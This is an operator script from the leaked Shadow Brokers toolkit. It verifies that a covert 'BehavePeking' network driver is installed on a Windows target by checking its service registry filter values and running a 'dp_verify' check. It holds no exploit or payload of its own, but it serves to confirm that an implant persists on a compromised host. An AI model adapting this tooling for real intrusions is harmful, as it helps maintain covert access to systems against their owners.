shadowbrokers-exploits/windows/Resources/Ep/Scripts/BehavePeking/VerifyInstall.eps
2017-04-14 11:45:07 +02:00

114 lines
2.6 KiB
PostScript

#--------------------------------------------------------
# File: VerifyInstall.eps
#
# Wrapper script for verify install of BehavePeking tools
#
# Modifications:
# 29 Aug 2005 Created.
#--------------------------------------------------------
@include "_DriverIncludes.epm";
@echo off;
if ($argc != 2) {
echo "Usage: $argv[0] <driverName>";
return false;
}
string $driver = $argv[1];
bool $valid = true;
ifnot (_DriverVerifyInstall($driver, 2, 1)) {
$valid = false;
}
#--------------------------------------
# perform extra checks on registry data
#--------------------------------------
@record on;
bool $driverRunning = false;
string $filter;
int $adapterFilter;
if (`webtipper -name $driver -get`) {
# driver running
$driverRunning = true;
$filter = GetCmdData("filter");
$adapterFilter = GetCmddata("adapterFilter");
}
# check for filter
echo "Checking filter registry value";
if (`regquery -hive L -subkey SYSTEM\\CurrentControlSet\\Services\\$driver -value options`) {
# got key -- check value
bool $valueGood = false;
string $type = GetCmdData("value_type");
if ($type == "REG_BINARY") {
if ($driverRunning) {
string $data = GetCmdData("value_data");
if ($data == $filter) {
$valueGood = true;
} else {
$valueGood = false;
}
} else {
$valueGood = true;
}
}
if ($valueGood) {
if ($driverRunning) {
echo " PASSED";
} else {
echo " PASSED CONDITIONALLY (driver not running)";
}
} else {
echo " FAILED (value is bad)";
$valid = false;
}
} else {
echo " FAILED (value not found)";
$valid = false;
}
# check the adapter filter
echo "Checking adapter filter registry value";
if (`regquery -hive L -subkey SYSTEM\\CurrentControlSet\\Services\\$driver -value tag`) {
# got key -- check value
bool $valueGood = false;
string $type = GetCmdData("value_type");
if ($type == "REG_DWORD") {
if ($driverRunning) {
string $data = GetCmdData("value_data");
$data = "0x$data";
if (<int>$data == $adapterFilter) {
$valueGood = true;
}
} else {
$valueGood = true;
}
}
if ($valueGood) {
if ($driverRunning) {
echo " PASSED";
} else {
echo " PASSED CONDITIONALLY (driver not running)";
}
} else {
echo " FAILED (value is bad)";
$valid = false;
}
} else {
echo " FAILED (value not found)";
$valid = false;
}
# check for exe
ifnot (`dp_verify`) {
$valid = false;
}
# we're done...
return $valid;